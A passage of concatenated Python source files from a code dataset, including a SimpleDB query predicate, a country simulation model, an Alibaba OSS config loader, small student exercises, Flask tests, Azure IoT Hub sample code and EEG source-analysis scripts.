the size of the output in half.\n # * @param p the query's plan\n # * @return the integer reduction factor.\n #\n def reductionFactor(self, p):\n factor = 1\n for t in self.terms:\n factor *= t.reductionFactor(p)\n return factor\n\n #\n # * Return the subpredicate that applies to the specified schema.\n # * @param sch the schema\n # * @return the subpredicate applying to the schema\n #\n def selectSubPred(self, sch):\n result = Predicate()\n for t in self.terms:\n if t.appliesTo(sch):\n result.terms.append(t)\n if len(result.terms) == 0:\n return None\n else:\n return result\n\n #\n # * Return the subpredicate consisting of terms that apply\n # * to the union of the two specified schemas,\n # * but not to either schema separately.\n # * @param sch1 the first schema\n # * @param sch2 the second schema\n # * @return the subpredicate whose terms apply to the union of the two schemas but not either schema separately.\n #\n def joinSubPred(self, sch1, sch2):\n result = Predicate()\n newsch = Schema()\n newsch.addAll(sch1)\n newsch.addAll(sch2)\n for t in self.terms:\n if not t.appliesTo(sch1) and not t.appliesTo(sch2) and t.appliesTo(newsch):\n result.terms.append(t)\n if len(result.terms) == 0:\n return None\n else:\n return result\n\n #\n # * Determine if there is a term of the form \"F=c\"\n # * where F is the specified field and c is some constant.\n # * If so, the method returns that constant.\n # * If not, the method returns null.\n # * @param fldname the name of the field\n # * @return either the constant or null\n #\n def equatesWithConstant(self, fldname):\n for t in self.terms:\n c = t.equatesWithConstant(fldname)\n if c is not None:\n return c\n return None\n\n #\n # * Determine if there is a term of the form \"F1=F2\"\n # * where F1 is the specified field and F2 is another field.\n # * If so, the method returns the name of that field.\n # * If not, the method returns null.\n # * @param fldname the name of the field\n # * @return the name of the other field, or null\n #\n def equatesWithField(self, fldname):\n for t in self.terms:\n s = t.equatesWithField(fldname)\n if s is not None:\n return s\n return None\n\n def __str__(self):\n if len(self.terms) == 0:\n return \"\"\n result = self.terms[0].__str__()\n for i in range(1, len(self.terms)):\n result += \" and \" + self.terms[i].__str__()\n return result\n","sub_path":"simpledb/query/Predicate.py","file_name":"Predicate.py","file_ext":"py","file_size_in_byte":4160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"419482868","text":"from historia.utils import unique_id, random_country_colors\nfrom historia.country.models.province import Province\nfrom historia.log import LogAction\n\nclass Country(object):\n \"\"\"\n Top level of government.\n Representation of a Country.\n \"\"\"\n def __init__(self, manager, initial_hex, ancestor=None):\n super(self.__class__, self).__init__()\n self.manager = manager\n self.id = unique_id('co')\n\n # ancestor country (mother country)\n # The country this country was formed out of\n self.ancestor = ancestor\n\n # hexes this country controls\n # create a province\n capital = Province(self.manager, initial_hex, self, is_capital=True)\n self.provinces = [capital]\n self.capital = capital\n self.manager.logger.log(self, {\n 'capital': capital.id\n })\n self.manager.logger.log(self, {\n 'provinces': capital.id\n }, LogAction.extend)\n\n # Vassal countries under this country\n self.vassals = []\n self.is_vassal = False\n\n # tuple of Country, relation int\n self.relations = []\n\n map_color, border_color = random_country_colors()\n self.display = {\n 'map_color': map_color.hex,\n 'border_color': border_color.hex\n }\n\n self.name = ''\n\n def settle_hex(self, hex_inst):\n \"Settles a new hex, creating a province and returning it\"\n province = Province(self.manager, hex_inst, self, is_capital=False)\n self.provinces.append(province)\n return province\n\n @property\n def pops(self):\n pops = []\n for p in self.provinces:\n pops.extend(p.pops)\n return pops\n\n def __repr__(self):\n return \"\".format(self.name, self.id)\n\n def __eq__(self, other):\n return self.id == other.id\n\n def __key__(self):\n return self.id\n\n def __hash__(self):\n return hash(self.__key__())\n\n\n def export(self):\n \"Export country data\"\n return {\n 'display': self.display,\n 'name': self.name,\n 'provinces': [p.id for p in self.provinces]\n }\n","sub_path":"historia/country/models/country.py","file_name":"country.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"411923942","text":"import os\nimport json\n\nimport oss2\n\nfrom oss_command import config\n\n\ndef load_config():\n config_file = config.config_file\n cfg = dict()\n if not os.path.exists(config_file):\n key = os.environ.get(\"oss_command_key\", None)\n secret = os.environ.get(\"oss_command_secret\", None)\n if not key and not secret:\n raise Exception(\"Run oss_command config first\")\n cfg[\"key\"] = key\n cfg[\"secret\"] = secret\n return cfg\n with open(config_file, \"r\") as f:\n cfg = json.load(f)\n return cfg\n\n\ndef get_bucket(endpoint):\n cfg = load_config()\n auth = oss2.Auth(cfg[\"key\"], cfg[\"secret\"])\n bucket_name, endpoint = endpoint.split(\".\", 1)\n bucket = oss2.Bucket(auth, endpoint, bucket_name)\n return bucket\n","sub_path":"oss_command/commands/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"285689939","text":"count=0\ndef hanoi(n,src,dst,mid):\n global count\n if n == 1:\n print(\"{}号圆盘:{}->{}\".format(1,src,dst))\n count += 1\n else:\n hanoi(n-1,src,mid,dst)\n print(\"{}号圆盘:{}->{}\".format(n,src,dst))\n count+=1\n hanoi(n-1,mid,dst,src)\nh = eval(input(\"请输入圆盘数量:\"))\nhanoi(h,\"A\",\"C\",\"B\")\nprint(\"一共搬运了{}次\".format(count))","sub_path":"PythonProgramming/class5/example5.3.py","file_name":"example5.3.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"557364134","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is regenerated.\n# --------------------------------------------------------------------------\n\nfrom azure.identity import DefaultAzureCredential\nfrom azure.mgmt.iothub import IotHubClient\n\n\"\"\"\n# PREREQUISITES\n pip install azure-identity\n pip install azure-mgmt-iothub\n# USAGE\n python iothub_create_or_update.py\n\n Before run the sample, please set the values of the client ID, tenant ID and client secret\n of the AAD application as environment variables: AZURE_CLIENT_ID, AZURE_TENANT_ID,\n AZURE_CLIENT_SECRET. For more info about how to get the value, please see:\n https://docs.microsoft.com/azure/active-directory/develop/howto-create-service-principal-portal\n\"\"\"\n\n\ndef main():\n client = IotHubClient(\n credential=DefaultAzureCredential(),\n subscription_id=\"91d12660-3dec-467a-be2a-213b5544ddc0\",\n )\n\n response = client.iot_hub_resource.begin_create_or_update(\n resource_group_name=\"myResourceGroup\",\n resource_name=\"testHub\",\n iot_hub_description={\n \"etag\": \"AAAAAAFD6M4=\",\n \"location\": \"centraluseuap\",\n \"properties\": {\n \"cloudToDevice\": {\n \"defaultTtlAsIso8601\": \"PT1H\",\n \"feedback\": {\"lockDurationAsIso8601\": \"PT1M\", \"maxDeliveryCount\": 10, \"ttlAsIso8601\": \"PT1H\"},\n \"maxDeliveryCount\": 10,\n },\n \"enableDataResidency\": False,\n \"enableFileUploadNotifications\": False,\n \"eventHubEndpoints\": {\"events\": {\"partitionCount\": 2, \"retentionTimeInDays\": 1}},\n \"features\": \"None\",\n \"ipFilterRules\": [],\n \"messagingEndpoints\": {\n \"fileNotifications\": {\n \"lockDurationAsIso8601\": \"PT1M\",\n \"maxDeliveryCount\": 10,\n \"ttlAsIso8601\": \"PT1H\",\n }\n },\n \"minTlsVersion\": \"1.2\",\n \"networkRuleSets\": {\n \"applyToBuiltInEventHubEndpoint\": True,\n \"defaultAction\": \"Deny\",\n \"ipRules\": [\n {\"action\": \"Allow\", \"filterName\": \"rule1\", \"ipMask\": \"131.117.159.53\"},\n {\"action\": \"Allow\", \"filterName\": \"rule2\", \"ipMask\": \"157.55.59.128/25\"},\n ],\n },\n \"routing\": {\n \"endpoints\": {\n \"eventHubs\": [],\n \"serviceBusQueues\": [],\n \"serviceBusTopics\": [],\n \"storageContainers\": [],\n },\n \"fallbackRoute\": {\n \"condition\": \"true\",\n \"endpointNames\": [\"events\"],\n \"isEnabled\": True,\n \"name\": \"$fallback\",\n \"source\": \"DeviceMessages\",\n },\n \"routes\": [],\n },\n \"storageEndpoints\": {\n \"$default\": {\"connectionString\": \"\", \"containerName\": \"\", \"sasTtlAsIso8601\": \"PT1H\"}\n },\n },\n \"sku\": {\"capacity\": 1, \"name\": \"S1\"},\n \"tags\": {},\n },\n ).result()\n print(response)\n\n\n# x-ms-original-file: specification/iothub/resource-manager/Microsoft.Devices/stable/2021-07-02/examples/iothub_createOrUpdate.json\nif __name__ == \"__main__\":\n main()\n","sub_path":"sdk/iothub/azure-mgmt-iothub/generated_samples/iothub_create_or_update.py","file_name":"iothub_create_or_update.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"88173872","text":"n1=int(input('Um valor:'))\r\nn2=int(input('Outro valor:'))\r\n#print('A soma vale {}'.format(n1+n2))\r\ns=n1+n2\r\nm=n1*n2\r\nd=n1/n2\r\ndi=n1/n2\r\ne=n1**n2\r\nprint('A soma é {}, o produto é {} \\n e a divisão é {:.3f}' .format(s, m, d), end=' ')\r\nprint('Divisão inteira {} \\n e potência {}'.format(di, e))\r\n","sub_path":"testes_aulas/aula07b.py","file_name":"aula07b.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"313761988","text":"from flask import url_for\nfrom flask.ext.testing import TestCase\n\nfrom webapp import app, db\nfrom webapp.models import Monkey, Friendship, BestFriend\nfrom config import HEROKU_POSTGRESQL_CHARCOAL_URL\n\n\ndef setup_module():\n app.config['SQLALCHEMY_DATABASE_URI'] = HEROKU_POSTGRESQL_CHARCOAL_URL\n app.config['WTF_CSRF_ENABLED'] = False\n db.create_all()\n\n\ndef teardown_module():\n db.session.remove()\n db.drop_all()\n\n\nclass TestProfilePage(TestCase):\n def create_app(self):\n return app\n\n def test_profile_page_is_working(self):\n monkey = Monkey(name='Sajjad', age='21', email='Sajjad@nono.com')\n db.session.add(monkey)\n db.session.commit()\n response = self.client.get(url_for('profile',\n monkey_id=monkey.monkey_id))\n self.assert_200(response)\n\n def test_edit_info_inside_profile_page_valid_input_works(self):\n monkey = Monkey(name='Sajjad', age='21', email='Sajjad@nono.com')\n db.session.add(monkey)\n db.session.commit()\n response = self.client.get(url_for('profile',\n monkey_id=monkey.monkey_id))\n assert b'Sajjad@nono.com' in response.data\n\n data = {\n 'name': 'Sajjad',\n 'age': '21',\n 'email': 'Sajjad@gmail.com'\n }\n response = self.client.post(url_for('profile',\n monkey_id=monkey.monkey_id),\n data=data,\n follow_redirects=True)\n self.assert_200(response)\n assert b'Sajjad@gmail.com' in response.data\n\n def test_best_friend_status_not_yet_and_name_of_bf_works(self):\n monkey = Monkey(name='Sajjad', age='21', email='Sajjad@nono.com')\n db.session.add(monkey)\n db.session.commit()\n response = self.client.get(url_for('profile',\n monkey_id=monkey.monkey_id))\n assert b'Best friend: Not yet' in response.data\n\n bf = Monkey(name='Alice', age='100', email='Alice@nono.com')\n db.session.add(bf)\n db.session.commit()\n best_friend = BestFriend(monkey_id=monkey.monkey_id,\n best_friend_id=bf.monkey_id)\n db.session.add(best_friend)\n db.session.commit()\n response = self.client.get(url_for('profile',\n monkey_id=monkey.monkey_id))\n assert b'Best friend: Alice' in response.data\n\n def test_terminate_monkey_works(self):\n monkey = Monkey(name='About2Terminate', age='21', email='ATT@no.com')\n monkey2 = Monkey(name='PoorFriend', age='21', email='ATT@no.com')\n monkey3 = Monkey(name='EvenPoorer', age='21', email='ATT@no.com')\n db.session.add(monkey)\n db.session.add(monkey2)\n db.session.add(monkey3)\n db.session.commit()\n friendship = Friendship(monkey_id=monkey.monkey_id,\n friend_id=monkey2.monkey_id)\n friendship_reciprocal = Friendship(monkey_id=monkey2.monkey_id,\n friend_id=monkey.monkey_id)\n best_friend = BestFriend(monkey_id=monkey.monkey_id,\n best_friend_id=monkey3.monkey_id)\n db.session.add(friendship)\n db.session.add(best_friend)\n db.session.commit()\n response = self.client.get(url_for('terminate',\n monkey_id=monkey.monkey_id),\n follow_redirects=True)\n self.assert_200(response)\n assert b'About2Terminate was terminated' in response.data\n assert monkey not in Monkey.query.all()\n assert friendship not in Friendship.query.all()\n assert best_friend not in BestFriend.query.all()\n\n def test_edit_info_a_non_existent_monkey_gets_handled(self):\n data = {\n 'name': 'Sajjad',\n 'age': '21',\n 'email': 'Sajjad@gmail.com'\n }\n response = self.client.post(url_for('profile',\n monkey_id=999999999),\n data=data)\n self.assert_200(response)\n assert b'500: Internal Server Error' in response.data\n","sub_path":"tests/test_profile_page.py","file_name":"test_profile_page.py","file_ext":"py","file_size_in_byte":4326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"389845667","text":"'''\nIn this exercise, you will practice both File I/O as well as using Exceptions\nin a real-world scenario.\n\nYou have a folder containing three text files of books from Project Gutenberg:\n- war_and_peace.txt\n- pride_and_prejudice.txt\n- crime_and_punishment.txt\n\n1) Open war_and_peace.txt, read the whole file content and store it in a variable\n\n2) Open crime_and_punishment.txt and overwrite the whole content with an empty string\n\n3) Loop over all three files and print out only the first character each. Your program\n should NEVER terminate with a Traceback.\n\n a) Which Exception can you expect to encounter? Why?\n\n b) How do you catch it to avoid the program from terminating with a Traceback?\n\n\nBONUS CHALLENGE: write a custom Exception that inherits from Exception and raise it if the\nfirst 100 characters of any of the files contain the string \"Prince\".\n\n'''\n\nimport os\npath = (\"/Users/ridinhome/Documents/CodingNomads/labs/09_exceptions/books/\")\nwar_and_peace = []\ncrime_and_punishment = (\"\")\nfirst_letter = {}\nos.chdir(path)\nfile_list = [\"war_and_peace.txt\",\"crime_and_punishment.txt\",\"pride_and_prejudice.txt\"]\n\n###,\n\n# with open(\"war_and_peace.txt\",\"r\") as tolstoy:\n# for item in tolstoy:\n# war_and_peace.append(item)\n#\n# print (war_and_peace)\n\n# with open(\"crime_and_punishment.txt\",\"w\") as dostoyevsky:\n# dostoyevsky.write(crime_and_punishment)\n\nfor item in file_list:\n with open(item,\"r\") as book:\n lines = book.readline()\n first_letter[item] = lines[0][0]\n\nfor value in first_letter.values():\n print (value)\n\n\n\n\n\n","sub_path":"09_exceptions/09_04_files_exceptions.py","file_name":"09_04_files_exceptions.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"411221294","text":"from time import sleep\r\nprint('\\033[1;36m-=-\\033[m' * 20)\r\nprint('\\033[1;36m *-*-*-*-* CLASSE CACHORRO! *-*-*-*-*\\033[m')\r\nprint('\\033[1;36m-=-\\033[m' * 20)\r\nsleep(2)\r\n\r\nclass Cachorro:\r\n def __init__(self, nome, raca, idade, peso):\r\n self.nome = nome\r\n self.raca = raca\r\n self.idade = idade\r\n self.peso = peso\r\n\r\n def adora_comer(self):\r\n self.peso = self.peso + 0.5\r\n\r\n\r\nc1 = Cachorro(nome = 'Charlotte', raca = 'S.R.D', idade = 7, peso = 9.7)\r\nprint('Oi, esta é {}, um cão da raça: {}. \\nSua idade é {} anos e de tanto comer pesa {}kg! '.format(c1.nome, c1.raca, c1.idade, c1.peso))\r\nsleep(5)\r\nprint('\\n{} adora comer.... Quer ver??'.format(c1.nome))\r\nsleep(3)\r\nprint('EI!! Psiu! Vem!!')\r\nsleep(2)\r\nprint('{}!!!'.format(c1.nome))\r\nsleep(3)\r\nprint('MmMmM... {} está comendo...'.format(c1.nome))\r\nsleep(5)\r\nc1.adora_comer()\r\nprint('Uau!!! Agora {} está pesando {}kg!'.format(c1.nome, c1.peso))","sub_path":"Charlotte_SamuelMachado.py","file_name":"Charlotte_SamuelMachado.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"133254494","text":"from business_logic import *\n\ndef main():\n\n print('GUIDE MANUAL\\n---------------------------')\n print('PLEASE SELECT NUMBER BETWEEN 1 - 6 TO RETRIEVE MESSAGE FOR GUEST')\n print('AND NUMBER BETWEEN 1 - 5 TO WELCOME AND ASSIGN GUEST TO HOTEL\\n')\n while True:\n try:\n guest_id = user_input_guest()\n instance_of_guest = get_guest_data(guest_id)\n hotel_id = user_input_hotel()\n instance_of_hotel = get_hotel_data(hotel_id)\n\n #required message\n print(f'{instance_of_guest.greeting()} {instance_of_hotel.get_hotel_name()} {instance_of_guest.get_room()}')\n except:\n print('Invalid operation!')\n\nif __name__ == \"__main__\":\n main()\n \n\n","sub_path":"main_menu.py","file_name":"main_menu.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"22026937","text":"'''\nAuthor: Brian Loi\nDate: September 14, 2017\nClass: ISTA 130\nSection Leader: Sebastion Andrews\n\nDescription:\nThis program uses turtle graphics to draw a castle.\n'''\n\nimport turtle\n\ndef house(a_turtle, size):\n '''\n Draw a simple house of the given size.\n\n Parameters:\n a_turtle: a turtle that is used to draw the house\n size: an int that determines the size of the house\n\n Returns: None\n '''\n polygon(a_turtle, 4, size)\n a_turtle.left(90)\n a_turtle.forward(size)\n a_turtle.right(90)\n polygon(a_turtle, 3, size)\n a_turtle.left(90)\n a_turtle.backward(size)\n a_turtle.right(90)\n return None\n\ndef castle(a_turtle, size):\n '''\n Draw a simple castle of the given size.\n\n Parameters:\n a_turtle: a turtle that is used to draw the castle\n size: an int that determines the size of the castle\n\n Returns: None\n '''\n polygon(a_turtle, 4, size)\n a_turtle.penup()\n a_turtle.backward(size * 0.25)\n a_turtle.left(90)\n a_turtle.forward(size)\n a_turtle.right(90)\n a_turtle.pendown()\n house(a_turtle, size * 0.5)\n a_turtle.forward(size * 0.5)\n house(a_turtle, size * 0.5)\n a_turtle.forward(size * 0.5)\n house(a_turtle, size * 0.5)\n a_turtle.penup()\n a_turtle.backward(size * 0.75)\n a_turtle.left(90)\n a_turtle.backward(size)\n a_turtle.right(90)\n a_turtle.pendown()\n return None\n\ndef polygon(some_turtle, sides, length):\n '''\n Draws a regular polygon using a turtle depending on the specified number\n of sides and length of the sides.\n\n Parameters:\n some_turtle: a turtle used to draw the polygon\n sides: an int that determines the number of sides in the polgyon\n length: an int that determines the length of the sides in the polygon\n\n Returns: None\n '''\n for i in range(sides):\n some_turtle.pendown()\n some_turtle.forward(length)\n some_turtle.left(360/sides)\n some_turtle.penup()\n return None\n\n#==============================================\ndef main():\n '''\n Draws a castle\n '''\n\n #Creates a turtle object to draw the castle. Sets the turtle's settings.\n yertle = turtle.Turtle()\n yertle.speed(0)\n yertle.penup()\n yertle.backward(200)\n yertle.pendown()\n yertle.pencolor('dark slate grey')\n yertle.pensize(5)\n\n #Repeatedly draws simple castles 4 times to create a larger castle drawing\n for i in range (4):\n castle(yertle, 100)\n yertle.forward(100)\n yertle.right(180)\n castle(yertle, 100)\n yertle.right(180)\n\n yertle.getscreen().exitonclick() #Keeps the turtle graphics window open\n\nif __name__ == '__main__':\n main()\n","sub_path":"ISTA130/hw2/castles.py","file_name":"castles.py","file_ext":"py","file_size_in_byte":2669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"242519380","text":"\"\"\"\r\n===========\r\nGroup analysis file\r\n===========\r\nScript for group level analyses.\r\n(Source reconstruction for all subjects and statistical tests)\r\n\"\"\"\r\n\r\nimport mne\r\nimport os\r\nimport numpy as np\r\nimport open_files as op \r\nfrom mne.channels import find_ch_adjacency\r\n\r\nimport source_reconstruction as source\r\nfrom tools import (add_to_array, zscore, save_results, \r\n check_list_cond, get_epochs_in_condition, \r\n sujets_exclusion_psds)\r\nfrom open_files import recover_epochs_sonetaa\r\nfrom spectral_density import (power_spectral_density_multitapper, power_spectral_density_welch)\r\nfrom morphing import (morph_surface_source_space, morph_volume_source_space, \r\n compute_morph_surface, compute_morph_volume)\r\nfrom statistical_tests import (cluster_permutation_test_1sample, \r\n cluster_permutation_test_2sample) \r\nfrom parameters import (subjects_dir)\r\n\r\n#global exclus_file\r\n#global subjects_dir\r\n\r\n################################################################################################################\r\n#### SOURCE RECONSTRUCTION\r\n################################################################################################################\r\n\r\n\r\ndef source_reconstruction_group(path_to_eeg_group, path_results_source_rec, list_subjects, \r\n method, lambda2, coreg, plot, redo):\r\n \"\"\"Reconstruct sources for all EEG subjects. \r\n Automatically uses subject MRI or a template MRI.\r\n \r\n Parameters\r\n ----------\r\n liste_participants : list\r\n list of list of subjects path to eeg and path to mri.\r\n method : str\r\n method for source reconstruction\r\n \"\"\"\r\n\r\n for (path_or_name_eeg, path_to_mri) in list_subjects:\r\n epochs_HDC = recover_epochs_sonetaa(path_or_name_eeg, 'HDC', path_to_mri, True)\r\n epochs_RS = recover_epochs_sonetaa(path_or_name_eeg, 'RS', path_to_mri, True)\r\n\r\n #set folders to save results of source reconstruction\r\n if os.path.isdir(path_or_name_eeg):\r\n #save results in subject folder\r\n folder_to_save_HDC = path_or_name_eeg + '/HDC'\r\n folder_to_save_RS = path_or_name_eeg + '/RS'\r\n else:\r\n #create a subject folder to save results\r\n path_results_subject = os.path.join(path_results_source_rec, path_or_name_eeg)\r\n if not os.path.exists(path_results_subject):\r\n os.mkdir(path_results_subject)\r\n folder_to_save_HDC = os.path.join(path_results_subject, 'HDC')\r\n folder_to_save_RS = os.path.join(path_results_subject, 'RS')\r\n #source rec for RS\r\n _, noise_cov = source.source_reconstruction(epochs_RS, method, lambda2, folder_to_save_RS, \r\n path_to_mri = path_to_mri, coreg = coreg, \r\n plot = plot, redo = redo)\r\n #source rec for HDC, using RS noise cov matrix\r\n _, _ = source.source_reconstruction(epochs_HDC, method, lambda2, folder_to_save_HDC,\r\n path_to_mri = path_to_mri, coreg = coreg, \r\n plot = plot, redo = redo, noise_cov = noise_cov)\r\n \r\n print('Source reconstruction computed for all subjects with method ' + method + '!')\r\n\r\n################################################################################################################\r\n#### POWER ANALYSIS\r\n################################################################################################################\r\n\r\ndef set_function_names(level):\r\n if level == \"cortex\":\r\n compute_morph, morph_source_space = compute_morph_surface, morph_surface_source_space\r\n elif level in [\"cereb\", \"cerebellum\"]:\r\n compute_morph, morph_source_space = compute_morph_volume, morph_volume_source_space \r\n \r\n return compute_morph, morph_source_space\r\n\r\ndef power_analysis_sensor_groups_psds(liste_ASD, liste_TD, path_to_figures, \r\n liste_cond, frequency):\r\n \"\"\"PSD analyses at sensor level between TD and ASD, between 2 conditions\r\n Save only the PSDs for later statistical analyses\r\n \"\"\"\r\n liste_cond, cond1 = check_list_cond(liste_cond)\r\n mean_psd_asd1, mean_psd_asd2 = None, None\r\n mean_psd_td1, mean_psd_td2 = None, None\r\n std_psd_asd1, std_psd_asd2 = None, None\r\n std_psd_td1, std_psd_td2 = None, None\r\n\r\n for i, liste in enumerate([liste_ASD, liste_TD]):\r\n for (path_or_name_eeg, path_to_mri) in liste:\r\n epochs_RS = recover_epochs_sonetaa(path_or_name_eeg, 'RS', path_to_mri)\r\n epochs_HDC = recover_epochs_sonetaa(path_or_name_eeg, 'HDC', path_to_mri)\r\n \r\n #compute PSD in cond 1 and cond 2\r\n for cond in liste_cond:\r\n epochs_condition = get_epochs_in_condition(cond, epochs_HDC, epochs_RS)\r\n psd, _, _ = power_spectral_density_welch(epochs_condition, frequency)\r\n \r\n #psd : variable nb of epochs (1) x n sensors x frequencies\r\n # average over frequencies n epochs x n sensors\r\n psd = np.mean(psd, axis = 2)\r\n moy_epochs = np.mean(psd, axis =0) #shape n sensors\r\n moy_epochs = np.reshape(moy_epochs, (1, moy_epochs.shape[0]))\r\n std_epochs = np.std(psd, axis = 0)\r\n std_epochs = np.reshape(std_epochs, (1, std_epochs.shape[0]))\r\n\r\n if cond is cond1 and i == 0:\r\n mean_psd_asd1 = add_to_array(mean_psd_asd1, moy_epochs)\r\n std_psd_asd1 = add_to_array(std_psd_asd1, std_epochs)\r\n elif cond is cond1 and i != 0:\r\n mean_psd_td1 = add_to_array(mean_psd_td1, moy_epochs)\r\n std_psd_td1 = add_to_array(std_psd_td1, std_epochs)\r\n elif cond is not cond1 and i == 0:\r\n mean_psd_asd2 = add_to_array(mean_psd_asd2, moy_epochs)\r\n std_psd_asd2 = add_to_array(std_psd_asd2, std_epochs)\r\n elif cond is not cond1 and i != 0:\r\n mean_psd_td2 = add_to_array(mean_psd_td2, moy_epochs)\r\n std_psd_td2 = add_to_array(std_psd_td2, std_epochs)\r\n\r\n save_results(\"PSD_sensors\", liste_cond, frequency, liste_TD+liste_ASD, \r\n path_to_figures = path_to_figures, Mtd1 = mean_psd_td1, Mtd2 = mean_psd_td2, \r\n Masd1 = mean_psd_asd1, Masd2 = mean_psd_asd2, \r\n Std1 = std_psd_td1, Std2= std_psd_td2,\r\n Sasd1 = std_psd_asd1, Sasd2 = std_psd_asd2)\r\n\r\ndef power_analysis_source_groups_psds(path_results_subjects, liste_ASD, liste_TD, path_to_figures, \r\n method, lambda2, subject_to, area, liste_cond,\r\n frequency, tfce = True, n_epochs = None):\r\n \"\"\" \r\n PSD analyses at source level between TD and ASD, between 2 conditions\r\n Write the Power Spectral densities for later statistical analyses\r\n\r\n path_results_subjects: path to where the subjects informations are stored\r\n liste_ASD: list of ASD subjects\r\n liste_TD: list of TD subjects\r\n path_to_figures: path to the folder where the figures and files are saved\r\n method: method for source reconstruction (MNE or eLORETA)\r\n lambda2: parameter to solve inverse problem\r\n subject_to: name of the subject to morph the subjects PSDs to a common source space (used fsaverage)\r\n area: cerebellum or cortex\r\n liste_cond: list of conditions of interest (HDC / RS)\r\n frequency: frequency of interest (alpha, theta...)\r\n \"\"\"\r\n liste_cond, cond1 = check_list_cond(liste_cond)\r\n compute_morph, morph_source_space = set_function_names(area)\r\n\r\n #compute zscore for each participant between HDC and RS\r\n mean_psd_asd1, mean_psd_asd2 = None, None\r\n mean_psd_td1, mean_psd_td2 = None, None\r\n std_psd_asd1, std_psd_asd2 = None, None\r\n std_psd_td1, std_psd_td2 = None, None\r\n\r\n for i, liste in enumerate([liste_ASD, liste_TD]):\r\n for (path_or_name_eeg, path_to_mri) in liste:\r\n epochs_RS = recover_epochs_sonetaa(path_or_name_eeg, 'RS', path_to_mri)\r\n epochs_HDC = recover_epochs_sonetaa(path_or_name_eeg, 'HDC', path_to_mri) \r\n \r\n #recover inverse operator and compute morph matrix for later morphing\r\n inverse_op = op.recover_inverse_op(path_or_name_eeg, 'RS', method, path_results_subjects)\r\n if i == 0:\r\n morph, src = compute_morph(subjects_dir, inverse_op, subject_to)\r\n \r\n for cond in liste_cond:\r\n #recover inverse operator\r\n if cond in [\"RS\", \"eo\", \"eyeo\", \"ec\", \"eyec\"]:\r\n inverse_op = op.recover_inverse_op(path_or_name_eeg, 'RS', method, path_results_subjects)\r\n else:\r\n inverse_op = op.recover_inverse_op(path_or_name_eeg, 'HDC', method, path_results_subjects)\r\n epochs_condition = get_epochs_in_condition(cond, epochs_HDC, epochs_RS)\r\n #compute PSD : a generator of PSDs over epochs (psd = sources x freq)\r\n psd = power_spectral_density_multitapper(epochs_condition[:n_epochs], inverse_op, \r\n method, lambda2, frequency, return_type='stc')\r\n \r\n #compute the mean and std of the subject PSDs over epochs\r\n array_epochs = None\r\n for (_, stc) in enumerate(psd):\r\n #transport PSD to common source space\r\n psd_morphed = stc.mean()\r\n psd_morphed = morph_source_space(morph, src, psd_morphed, subjects_dir, \r\n inverse_op, subject_to, path_to_figures)\r\n array_epochs = add_to_array(array_epochs, psd_morphed.data, axis = 1)\r\n\r\n moy_epochs = np.mean(array_epochs, axis = 1)\r\n moy_epochs = np.expand_dims(moy_epochs, axis = 0)\r\n std_epochs = np.std(array_epochs, axis = 1)\r\n std_epochs = np.expand_dims(std_epochs, axis = 0)\r\n \r\n #add the mean and std to the relevant list \r\n if cond is cond1 and i == 0:\r\n mean_psd_asd1 = add_to_array(mean_psd_asd1, moy_epochs)\r\n std_psd_asd1 = add_to_array(std_psd_asd1, std_epochs)\r\n elif cond is cond1 and i != 0:\r\n mean_psd_td1 = add_to_array(mean_psd_td1, moy_epochs)\r\n std_psd_td1 = add_to_array(std_psd_td1, std_epochs)\r\n elif cond is not cond1 and i == 0:\r\n mean_psd_asd2 = add_to_array(mean_psd_asd2, moy_epochs)\r\n std_psd_asd2 = add_to_array(std_psd_asd2, std_epochs)\r\n elif cond is not cond1 and i != 0:\r\n mean_psd_td2 = add_to_array(mean_psd_td2, moy_epochs)\r\n std_psd_td2 = add_to_array(std_psd_td2, std_epochs)\r\n\r\n save_results(\"PSD_\"+area, liste_cond, frequency, liste_TD + liste_ASD, tfce, path_to_figures, \r\n method, Mtd1 = mean_psd_td1, Mtd2 = mean_psd_td2, \r\n Masd1 = mean_psd_asd1, Masd2 = mean_psd_asd2, \r\n Std1 = std_psd_td1, Std2= std_psd_td2,\r\n Sasd1 = std_psd_asd1, Sasd2 = std_psd_asd2)\r\n \r\ndef power_analysis_statistics(path_results_subjects, psd_file, path_to_figures, list_subjects,\r\n liste_TD, liste_ASD, method, subject_to, level, liste_cond,\r\n tfce = True, compare = \"all\", score = \"zscore\", frequency = \"theta\"):\r\n \"\"\"\r\n Open an array of PSDs and compute statistics (inter and/or intra group)\r\n \"\"\"\r\n #exclusions\r\n indices_td, indices_asd = sujets_exclusion_psds(path_to_figures)\r\n indices_asd, indices_td = np.asarray(indices_asd), np.asarray(indices_td)\r\n\r\n liste_cond, _ = check_list_cond(liste_cond)\r\n (path_or_name_eeg, path_to_mri) = list_subjects[0] \r\n epochs_RS = recover_epochs_sonetaa(path_or_name_eeg, 'RS', path_to_mri) \r\n\r\n if level not in [\"sensor\", \"sensors\"]:\r\n inverse_op = op.recover_inverse_op(path_or_name_eeg, 